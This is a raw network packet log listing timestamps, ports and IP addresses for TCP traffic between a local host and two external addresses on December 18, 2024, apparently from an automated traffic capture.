Dec 18, 2024 19:28:42.738734007 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.742873907 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.742904902 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.742944956 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.746897936 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.747013092 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.747104883 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.750977039 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.751049042 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.751089096 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.755131006 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.755240917 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.755338907 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.759193897 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.759285927 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.759329081 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.763263941 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.763329029 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.763633966 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.767378092 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.767446995 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.767447948 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.771462917 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.771544933 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.771572113 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.775674105 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.775804996 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.775912046 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.779726028 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.779747009 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.779939890 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.783788919 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.783839941 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.783998013 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.787831068 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.787882090 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.874804974 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.874829054 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.874898911 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.876554966 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.876574039 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.876629114 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.880075932 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.881422997 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.881459951 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.881541014 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.884859085 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.884896994 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.884949923 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.888335943 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.888415098 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.888425112 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.891665936 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.891778946 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.891792059 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.894934893 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.895077944 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.895136118 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.898044109 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.898098946 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.898150921 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.901160002 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.901235104 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.901294947 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.904226065 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.904284954 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.904345036 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.907433033 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.907485008 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.907493114 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.910077095 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.910135984 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.910186052 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.913000107 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.913075924 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.913172007 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.915833950 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.915885925 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.915930986 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.918654919 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.918703079 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.918771982 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.921500921 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.921555996 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.921570063 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.924391031 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.924433947 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.924582958 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.927202940 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.927248001 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.927253962 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.929969072 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.930036068 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.930079937 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.932817936 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.932868004 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.932964087 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.935653925 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.935698986 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.935708046 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.938469887 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.938524008 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.938570023 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.941273928 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.941324949 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.941386938 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.944145918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.944164038 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.944195986 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.946949959 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.946999073 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.947093964 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.949840069 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.949902058 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.949948072 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.952668905 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.952719927 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.952800989 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.955465078 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.955514908 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.955543995 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.958333015 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.958458900 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.958499908 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.961111069 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.961160898 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.961216927 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.963911057 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.963954926 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.964040041 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.966805935 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.966856956 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.966856956 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.969717026 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.969767094 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.969825983 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.972569942 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.972589016 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.972620964 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.975291967 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.975344896 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.975377083 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.978102922 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.978152037 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.978234053 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.980998039 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.981089115 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.981163025 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.983933926 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.983978033 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.984019995 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.986609936 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.986658096 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.986696959 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.989444971 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.989500046 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.989525080 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.992393017 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.992463112 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.992537022 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.995068073 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.995171070 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.995191097 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:43.038517952 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:43.071429968 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:43.071490049 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:43.071717024 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:43.072366953 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:43.072384119 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:43.072441101 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:43.074527025 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:43.074634075 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:43.074760914 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.272536039 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.393438101 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.393491030 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.514332056 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.806777954 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.807127953 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.807187080 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.807277918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.808561087 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.808685064 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.808999062 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.809010029 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.809078932 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.810069084 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.810084105 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.810158014 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.811696053 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.811743975 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.811897039 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.813422918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.813568115 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.813821077 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.815161943 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.815210104 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.815257072 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.816785097 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.816993952 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.817048073 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.818588972 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.818654060 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.818702936 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.820350885 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.820493937 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.820570946 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.822009087 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.822022915 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:45.822060108 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:45.916346073 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.035921097 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.036026955 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.155587912 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.242022991 CET	49975	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:28:46.242053986 CET	443	49975	45.149.241.141	192.168.2.6
Dec 18, 2024 19:28:46.242331982 CET	49975	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:28:46.242533922 CET	49975	443	192.168.2.6	45.149.241.141
Dec 18, 2024 19:28:46.242548943 CET	443	49975	45.149.241.141	192.168.2.6
Dec 18, 2024 19:28:46.448009014 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.448174000 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.448245049 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.448326111 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.449893951 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.449949026 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.449954033 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.449990034 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.450093985 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.451658010 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.451738119 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.451792955 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.452874899 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.452974081 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.453041077 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.454622030 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.454674006 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.454727888 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.456418991 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.456456900 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.456543922 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.458065033 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.458107948 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.458157063 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.459692955 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.460041046 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.460087061 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.461467028 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.461579084 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.461672068 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.463169098 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.463268995 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.463334084 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.465337992 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.465351105 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.465411901 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.466927052 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.467205048 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.467259884 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.469167948 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.469181061 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.469243050 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.470603943 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.470616102 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.470676899 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.471860886 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.471986055 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.472033978 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.473575115 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.473732948 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.473893881 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.475260019 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.475361109 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.475431919 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.476991892 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.477164030 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.477324009 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.478835106 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.478975058 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.479115963 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.480652094 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.480664968 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.480707884 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.482705116 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.482758999 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.482974052 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.484172106 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.484297037 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.484903097 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.485764980 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.485779047 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.485848904 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.487492085 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.487543106 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.487715006 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.489243031 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.489311934 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.489394903 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.491533041 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.491596937 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.491719961 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.493020058 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.493031979 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.493083000 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.494762897 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.494828939 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.494954109 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.496285915 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.496296883 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.496356964 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.497842073 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.497982979 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.498027086 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.499505043 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.499686956 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.500413895 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.501241922 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.501388073 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.501562119 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.502989054 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.503051996 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.503165007 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.504666090 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.504796982 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.504961014 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.506506920 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.506519079 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.506568909 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.508146048 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.508164883 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.508244991 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:46.510034084 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.510046005 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:46.510096073 CET	49959	3847	192.168.2.6	87.120.127.215
